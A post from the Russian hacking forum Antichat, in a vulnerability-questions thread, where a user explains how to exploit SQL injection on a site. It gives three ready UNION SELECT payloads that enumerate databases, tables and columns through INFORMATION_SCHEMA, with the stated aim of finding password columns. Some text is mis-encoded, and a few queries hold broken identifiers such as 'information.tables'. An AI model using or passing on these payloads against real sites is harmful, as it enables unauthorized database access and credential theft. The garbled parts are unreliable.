Форум АНТИЧАТ - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

_Pantera_
Самое первое, что тебе нужно сделать - это посмотреть названия таблиц и названия БД в которых они лежат.

Цитата:

http://site.com/non.php?id=-6+union+select+1,2,concat(table_schema,char(58),ta ble_NAME),4,5,6,7,8+from+INFORMATION_SCHEMA.tables --

таким запросом ты узнаеш все бд )

а вот таким запросом ты посмотришь БД в которых лежит таблица..

Цитата:

http://site.com/non.php?id=-6+union+select+1,2,concat_ws(0x3a,table_schema),4, 5,6,7,8+from+information.tables+where+table_name=� �азвание таблы--

а вобще я бы сначало искал в каких таблицах и бд есть колонка например пасс)

Цитата:

http://site.com/non.php?id=-6+union+select+1,2,concat_ws(0x3a,table_schema,tab le_name),4,5,6,7,8+from+information.columns+where+ column_name+like+char(название поля)--